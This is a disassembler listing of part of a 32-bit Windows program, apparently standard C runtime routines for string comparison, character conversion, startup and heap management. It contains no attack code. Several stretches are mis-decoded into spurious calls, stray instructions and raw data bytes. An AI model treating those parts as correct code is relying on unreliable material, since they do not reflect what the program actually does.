arg_0 = dword ptr 4
cmp ds:dword_43F194, 1
jle short loc_41D8A7
push 8
push [esp+4+arg_0]
call sub_41F735
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D8A7: ; CODE XREF: sub_41D890+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_43EF88
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D8C0 proc near ; CODE XREF: sub_417F37+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41D90C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41D90D
test eax, 1
jz short loc_41D8ED
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D93A
inc esi
inc edi
dec eax
jz short loc_41D90A
loc_41D8ED: ; CODE XREF: sub_41D8C0+20j
; sub_41D8C0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D93A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D93A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D8ED
loc_41D90A: ; CODE XREF: sub_41D8C0+2Bj
; sub_41D8C0+84j
pop edi
pop esi
locret_41D90C: ; CODE XREF: sub_41D8C0+6j
retn
; ---------------------------------------------------------------------------
loc_41D90D: ; CODE XREF: sub_41D8C0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D942
repe cmpsd
jz short loc_41D942
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D935
cmp ch, dh
jnz short loc_41D935
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D935
cmp ch, dh
loc_41D935: ; CODE XREF: sub_41D8C0+63j
; sub_41D8C0+67j ...
mov eax, 0
loc_41D93A: ; CODE XREF: sub_41D8C0+26j
; sub_41D8C0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D942: ; CODE XREF: sub_41D8C0+55j
; sub_41D8C0+59j
test eax, eax
jz short loc_41D90A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D935
dec eax
jz short loc_41D969
cmp dh, ch
jnz short loc_41D935
dec eax
jz short loc_41D969
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D935
dec eax
loc_41D969: ; CODE XREF: sub_41D8C0+8Fj
; sub_41D8C0+96j
pop edi
pop esi
retn
sub_41D8C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D96C proc near ; CODE XREF: sub_41824E+6p
; sub_41826C+48p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4DDF74, 0
push ebx
push esi
push edi
jnz short loc_41D999
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41DA32
cmp eax, 5Ah
jg loc_41DA32
add eax, 20h
jmp loc_41DA32
; ---------------------------------------------------------------------------
loc_41D999: ; CODE XREF: sub_41D96C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D9CD
cmp ds:dword_43F194, esi
jle short loc_41D9BB
push esi
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_41D9C5
; ---------------------------------------------------------------------------
loc_41D9BB: ; CODE XREF: sub_41D96C+42j
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, esi
loc_41D9C5: ; CODE XREF: sub_41D96C+4Dj
test eax, eax
jnz short loc_41D9CD
loc_41D9C9: ; CODE XREF: sub_41D96C+ADj
mov eax, ebx
jmp short loc_41DA32
; ---------------------------------------------------------------------------
loc_41D9CD: ; CODE XREF: sub_41D96C+3Aj
; sub_41D96C+5Bj
mov edx, ds:off_43EF88
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D9F1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D9FA
; ---------------------------------------------------------------------------
loc_41D9F1: ; CODE XREF: sub_41D96C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D9FA: ; CODE XREF: sub_41D96C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push ds:dword_4DDF74
call loc_422DA3
add esp, 20h
test eax, eax
jz short loc_41D9C9
cmp eax, esi
jnz short loc_41DA25
movzx eax, [ebp+var_4]
jmp short loc_41DA32
; ---------------------------------------------------------------------------
loc_41DA25: ; CODE XREF: sub_41D96C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41DA32: ; CODE XREF: sub_41D96C+16j
; sub_41D96C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D96C endp
; =============== S U B R O U T I N E =======================================
sub_41DA37 proc near ; CODE XREF: seg000:00418824p
; sub_41A044+238p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41DA4E
loc_41DA44: ; CODE XREF: sub_41DA37+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41DA44
loc_41DA4E: ; CODE XREF: sub_41DA37+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41DA37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA54 proc near ; CODE XREF: seg000:004187F6p
; seg000:00418807p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41DB21
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41DB4E
cmp ds:dword_4DDF74, esi
jnz short loc_41DAA5
cmp edi, esi
jbe loc_41DB4E
loc_41DA84: ; CODE XREF: sub_41DA54+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41DB4E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41DA84
jmp loc_41DB4E
; ---------------------------------------------------------------------------
loc_41DAA5: ; CODE XREF: sub_41DA54+26j
mov ebx, [ebp+arg_4]
mov esi, ds:dword_428184
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push ds:dword_4DDF84
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_41DB4D
call ds:dword_42808C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41DADF
loc_41DAD0: ; CODE XREF: sub_41DA54+CBj
; sub_41DA54+F7j
mov ds:dword_4DDEB4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DB4E
; ---------------------------------------------------------------------------
loc_41DADF: ; CODE XREF: sub_41DA54+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41DAE7: ; CODE XREF: sub_41DA54+B3j
mov cl, [eax]
test cl, cl
jz short loc_41DB09
mov edx, ds:off_43EF88
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DAFE
inc eax
loc_41DAFE: ; CODE XREF: sub_41DA54+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41DAE7
loc_41DB09: ; CODE XREF: sub_41DA54+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push ds:dword_4DDF84
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_41DB4E
jmp short loc_41DAD0
; ---------------------------------------------------------------------------
loc_41DB21: ; CODE XREF: sub_41DA54+Fj
cmp ds:dword_4DDF74, esi
jnz short loc_41DB34
push [ebp+arg_4]
call sub_41B1D0
pop ecx
jmp short loc_41DB4E
; ---------------------------------------------------------------------------
loc_41DB34: ; CODE XREF: sub_41DA54+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push ds:dword_4DDF84
call ds:dword_428184 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41DAD0
loc_41DB4D: ; CODE XREF: sub_41DA54+6Bj
dec eax
loc_41DB4E: ; CODE XREF: sub_41DA54+1Aj
; sub_41DA54+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DA54 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428720
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_4281B4 ; GetVersion
xor edx, edx
mov dl, ah
mov ds:dword_4DDECC, edx
mov ecx, eax
and ecx, 0FFh
mov ds:dword_4DDEC8, ecx
shl ecx, 8
add ecx, edx
mov ds:dword_4DDEC4, ecx
shr eax, 10h
mov ds:dword_4DDEC0, eax
xor esi, esi
push esi
call sub_41DFF2
pop ecx
test eax, eax
jnz short loc_41DBBF
push 1Ch
call sub_41DC6E
pop ecx
loc_41DBBF: ; CODE XREF: seg000:0041DBB5j
mov [ebp-4], esi
call loc_423606
call near ptr 0BF0004h
pusha
mov ds:dword_4DF54C, eax
call sub_4234D4
mov ds:dword_4DDF28, eax
call sub_423287
call sub_4231CE
call sub_41B974
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call near ptr 0CB0004h
mov ecx, 5579E8h
add [ecx+45F69C45h], cl
rol byte ptr [ecx], 1
jz short loc_41DC0C
movzx eax, word ptr [ebp-2Ch]
jmp short loc_41DC0F
; ---------------------------------------------------------------------------
loc_41DC0C: ; CODE XREF: seg000:0041DC04j
push 0Ah
pop eax
loc_41DC0F: ; CODE XREF: seg000:0041DC0Aj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call near ptr 0CD0004h
pop edi
push eax
call loc_401236
mov [ebp-60h], eax
push eax
call sub_41B9A1
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_422FF2
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_41B9B2
; =============== S U B R O U T I N E =======================================
sub_41DC49 proc near ; CODE XREF: sub_41D242+16p
; sub_42294B+4Dp ...
arg_0 = dword ptr 4
cmp ds:dword_4DDF30, 1
jnz short loc_41DC57
call sub_423894
loc_41DC57: ; CODE XREF: sub_41DC49+7j
push [esp+arg_0]
call sub_4238CD
push 0FFh
call ds:off_43CF50
pop ecx
pop ecx
retn
sub_41DC49 endp
; =============== S U B R O U T I N E =======================================
sub_41DC6E proc near ; CODE XREF: seg000:0041DBB9p
arg_0 = dword ptr 4
cmp ds:dword_4DDF30, 1
jnz short loc_41DC7C
call sub_423894
loc_41DC7C: ; CODE XREF: sub_41DC6E+7j
push [esp+arg_0]
call sub_4238CD
pop ecx
push 0FFh
call ds:dword_428068 ; ExitProcess
retn
sub_41DC6E endp
; =============== S U B R O U T I N E =======================================
sub_41DC92 proc near ; CODE XREF: sub_41B24B+2Ap
; sub_423C7E+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, ds:dword_4DE2E0
jnb loc_41DD2C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DE1E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DD2C
push edi
call sub_423BA6
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DD0B
cmp edi, 1
jz short loc_41DCD9
cmp edi, 2
jnz short loc_41DCEF
loc_41DCD9: ; CODE XREF: sub_41DC92+40j
push 2
call sub_423BA6
push 1
mov ebp, eax
call sub_423BA6
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DD0B
loc_41DCEF: ; CODE XREF: sub_41DC92+45j
push edi
call sub_423BA6
pop ecx
push eax
call ds:dword_42806C ; CloseHandle
test eax, eax
jnz short loc_41DD0B
call ds:dword_42808C ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41DD0D
; ---------------------------------------------------------------------------
loc_41DD0B: ; CODE XREF: sub_41DC92+3Bj
; sub_41DC92+5Bj ...
xor ebp, ebp
loc_41DD0D: ; CODE XREF: sub_41DC92+77j
push edi
call loc_423B2C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DD28
push ebp
call sub_4205FF
pop ecx
jmp short loc_41DD3D
; ---------------------------------------------------------------------------
loc_41DD28: ; CODE XREF: sub_41DC92+8Bj
xor eax, eax
jmp short loc_41DD40
; ---------------------------------------------------------------------------
loc_41DD2C: ; CODE XREF: sub_41DC92+Ej
; sub_41DC92+2Fj
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
loc_41DD3D: ; CODE XREF: sub_41DC92+94j
or eax, 0FFFFFFFFh
loc_41DD40: ; CODE XREF: sub_41DC92+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DC92 endp
; =============== S U B R O U T I N E =======================================
sub_41DD45 proc near ; CODE XREF: sub_41B24B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DD6E
test al, 8
jz short loc_41DD6E
push dword ptr [esi+8]
call sub_41B2A1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DD6E: ; CODE XREF: sub_41DD45+Aj
; sub_41DD45+Ej
pop esi
retn
sub_41DD45 endp
; =============== S U B R O U T I N E =======================================
sub_41DD70 proc near ; CODE XREF: sub_41DE10+2Dp
; sub_41DE10+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DD82
push esi
call sub_41DE10
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DD82: ; CODE XREF: sub_41DD70+7j
push esi
call sub_41DDAB
test eax, eax
pop ecx
jz short loc_41DD92
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DD92: ; CODE XREF: sub_41DD70+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DDA7
push dword ptr [esi+10h]
call sub_423BE3
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DDA7: ; CODE XREF: sub_41DD70+26j
xor eax, eax
pop esi
retn
sub_41DD70 endp
; =============== S U B R O U T I N E =======================================
sub_41DDAB proc near ; CODE XREF: sub_41B24B+1Ap
; seg000:0041D444p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DDF8
test ax, 108h
jz short loc_41DDF8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DDF8
push edi
push eax
push dword ptr [esi+10h]
call loc_422BF6
add esp, 0Ch
cmp eax, edi
jnz short loc_41DDF1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DDF8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DDF8
; ---------------------------------------------------------------------------
loc_41DDF1: ; CODE XREF: sub_41DDAB+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DDF8: ; CODE XREF: sub_41DDAB+14j
; sub_41DDAB+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DDAB endp
; =============== S U B R O U T I N E =======================================
sub_41DE07 proc near ; CODE XREF: sub_4229F0p
push 1
call sub_41DE10
pop ecx
retn
sub_41DE07 endp
; =============== S U B R O U T I N E =======================================
sub_41DE10 proc near ; CODE XREF: sub_41DD70+Ap
; sub_41DE07+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp ds:dword_4DF300, esi
jle short loc_41DE6E
loc_41DE21: ; CODE XREF: sub_41DE10+5Cj
mov eax, ds:dword_4DE2E4
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DE65
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DE65
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DE4B
push eax
call sub_41DD70
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DE65
inc ebx
jmp short loc_41DE65
; ---------------------------------------------------------------------------
loc_41DE4B: ; CODE XREF: sub_41DE10+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DE65
test cl, 2
jz short loc_41DE65
push eax
call sub_41DD70
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DE65
or edi, eax
loc_41DE65: ; CODE XREF: sub_41DE10+1Bj
; sub_41DE10+23j ...
inc esi
cmp esi, ds:dword_4DF300
jl short loc_41DE21
loc_41DE6E: ; CODE XREF: sub_41DE10+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DE79
mov eax, edi
loc_41DE79: ; CODE XREF: sub_41DE10+65j
pop edi
pop esi
pop ebx
retn
sub_41DE10 endp
; =============== S U B R O U T I N E =======================================
sub_41DE7D proc near ; CODE XREF: seg000:0041DFE0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call near ptr 0B10000h
into
cmp word ptr [eax], 5A4Dh
jnz short loc_41DEA8
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DEA8
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DEA8: ; CODE XREF: sub_41DE7D+15j
; sub_41DE7D+1Cj
pop esi
retn
sub_41DE7D endp
; ---------------------------------------------------------------------------
loc_41DEAA: ; CODE XREF: sub_41DFF2+20p
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BD10
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
call ds:dword_4280C8 ; GetVersionExA
test eax, eax
jz short loc_41DEED
cmp dword ptr [ebp-88h], 2
jnz short loc_41DEED
cmp dword ptr [ebp-94h], 5
jb short loc_41DEED
push 1
pop eax
jmp loc_41DFEF
; ---------------------------------------------------------------------------
loc_41DEED: ; CODE XREF: seg000:0041DED1j
; seg000:0041DEDAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call near ptr 0B10000h
mov dh, 85h
ror byte ptr [edi], 84h
rol byte ptr [eax], 1
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DF2F
loc_41DF1C: ; CODE XREF: seg000:0041DF2Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DF2A
cmp al, 7Ah
jg short loc_41DF2A
sub al, 20h
mov [ecx], al
loc_41DF2A: ; CODE XREF: seg000:0041DF20j
; seg000:0041DF24j
inc ecx
cmp [ecx], bl
jnz short loc_41DF1C
loc_41DF2F: ; CODE XREF: seg000:0041DF1Aj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C060
add esp, 0Ch
test eax, eax
jnz short loc_41DF51
lea eax, [ebp-122Ch]
jmp short loc_41DF9A
; ---------------------------------------------------------------------------
loc_41DF51: ; CODE XREF: seg000:0041DF47j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
call near ptr 0B10000h
sbb [eax], edi
popf
; ---------------------------------------------------------------------------
dw 0FE64h
dd 8D8DFFFFh, 0FFFFFE64h, 18A1374h, 87C613Ch, 47F7A3Ch
dd 188202Ch, 75193841h, 64858DEDh, 50FFFFFEh, 0EDD4858Dh
dd 0E850FFFFh, 0FFFFDB58h
; ---------------------------------------------------------------------------
pop ecx
pop ecx
loc_41DF9A: ; CODE XREF: seg000:0041DF4Fj
cmp eax, ebx
jz short loc_41DFDC
push 2Ch
push eax
call sub_41C1A0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DFDC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DFC1
loc_41DFB3: ; CODE XREF: seg000:0041DFBFj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DFBC
mov [ecx], bl
jmp short loc_41DFBD
; ---------------------------------------------------------------------------
loc_41DFBC: ; CODE XREF: seg000:0041DFB6j
inc ecx
loc_41DFBD: ; CODE XREF: seg000:0041DFBAj
cmp [ecx], bl
jnz short loc_41DFB3
loc_41DFC1: ; CODE XREF: seg000:0041DFB1j
push 0Ah
push ebx
push eax
call sub_41BD96
add esp, 0Ch
cmp eax, 2
jz short loc_41DFEF
cmp eax, 3
jz short loc_41DFEF
cmp eax, 1
jz short loc_41DFEF
loc_41DFDC: ; CODE XREF: seg000:0041DF9Cj
; seg000:0041DFAAj
lea eax, [ebp-4]
push eax
call sub_41DE7D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DFEF: ; CODE XREF: seg000:0041DEE8j
; seg000:0041DFD0j ...
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41DFF2 proc near ; CODE XREF: seg000:0041DBADp
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_4281C0 ; HeapCreate
test eax, eax
mov ds:dword_4DF544, eax
jz short loc_41E048
call loc_41DEAA
cmp eax, 3
mov ds:dword_4DF548, eax
jnz short loc_41E02E
push 3F8h
call sub_41E04F
pop ecx
jmp short loc_41E038
; ---------------------------------------------------------------------------
loc_41E02E: ; CODE XREF: sub_41DFF2+2Dj
cmp eax, 2
jnz short loc_41E04B
call sub_41EB96
loc_41E038: ; CODE XREF: sub_41DFF2+3Aj
test eax, eax
jnz short loc_41E04B
push ds:dword_4DF544
call ds:dword_4281BC ; HeapDestroy
loc_41E048: ; CODE XREF: sub_41DFF2+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E04B: ; CODE XREF: sub_41DFF2+3Fj
; sub_41DFF2+48j
push 1
pop eax
retn
sub_41DFF2 endp
; =============== S U B R O U T I N E =======================================
sub_41E04F proc near ; CODE XREF: sub_41DFF2+34p
arg_0 = dword ptr 4
push 140h
push 0
push ds:dword_4DF544
call ds:dword_428148 ; RtlAllocateHeap
test eax, eax
mov ds:dword_4DF53C, eax
jnz short loc_41E06C
retn
; ---------------------------------------------------------------------------
loc_41E06C: ; CODE XREF: sub_41E04F+1Aj
mov ecx, [esp+arg_0]
and ds:dword_4DF534, 0
and ds:dword_4DF538, 0
push 1
mov ds:dword_4DF530, eax
mov ds:dword_4DF540, ecx
mov ds:dword_4DF528, 10h
pop eax
retn
sub_41E04F endp
; =============== S U B R O U T I N E =======================================
sub_41E097 proc near ; CODE XREF: sub_41B2A1+17p
; sub_41B3F2+4Cp ...
arg_0 = dword ptr 4
mov eax, ds:dword_4DF538
lea ecx, [eax+eax*4]
mov eax, ds:dword_4DF53C
lea ecx, [eax+ecx*4]
loc_41E0A7: ; CODE XREF: sub_41E097+26j
cmp eax, ecx
jnb short loc_41E0BF
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E0C1
add eax, 14h
jmp short loc_41E0A7
; ---------------------------------------------------------------------------
loc_41E0BF: ; CODE XREF: sub_41E097+12j
xor eax, eax
locret_41E0C1: ; CODE XREF: sub_41E097+21j
retn
sub_41E097 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0C2 proc near ; CODE XREF: sub_41B2A1+23p
; sub_41B3F2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E3E6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E198
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E126
push 3Fh
pop edx
loc_41E126: ; CODE XREF: sub_41E0C2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E17A
cmp edx, 20h
jnb short loc_41E151
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E172
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E172
; ---------------------------------------------------------------------------
loc_41E151: ; CODE XREF: sub_41E0C2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E172
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E172: ; CODE XREF: sub_41E0C2+86j
; sub_41E0C2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E17D
; ---------------------------------------------------------------------------
loc_41E17A: ; CODE XREF: sub_41E0C2+6Aj
mov ecx, [ebp+var_4]
loc_41E17D: ; CODE XREF: sub_41E0C2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E198: ; CODE XREF: sub_41E0C2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E1A6
push 3Fh
pop edx
loc_41E1A6: ; CODE XREF: sub_41E0C2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E249
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E1CB
mov ebx, esi
loc_41E1CB: ; CODE XREF: sub_41E0C2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E1DD
mov edx, esi
loc_41E1DD: ; CODE XREF: sub_41E0C2+117j
cmp ebx, edx
jz short loc_41E244
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E22C
cmp ebx, 20h
jnb short loc_41E20D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E22C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E22C
; ---------------------------------------------------------------------------
loc_41E20D: ; CODE XREF: sub_41E0C2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E22C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E22C: ; CODE XREF: sub_41E0C2+128j
; sub_41E0C2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E244: ; CODE XREF: sub_41E0C2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E24C
; ---------------------------------------------------------------------------
loc_41E249: ; CODE XREF: sub_41E0C2+EDj
mov ebx, [ebp+arg_0]
loc_41E24C: ; CODE XREF: sub_41E0C2+185j
cmp [ebp+var_C], 0
jnz short loc_41E25A
cmp ebx, edx
jz loc_41E2DB
loc_41E25A: ; CODE XREF: sub_41E0C2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E2DB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E2B2
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E2A1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
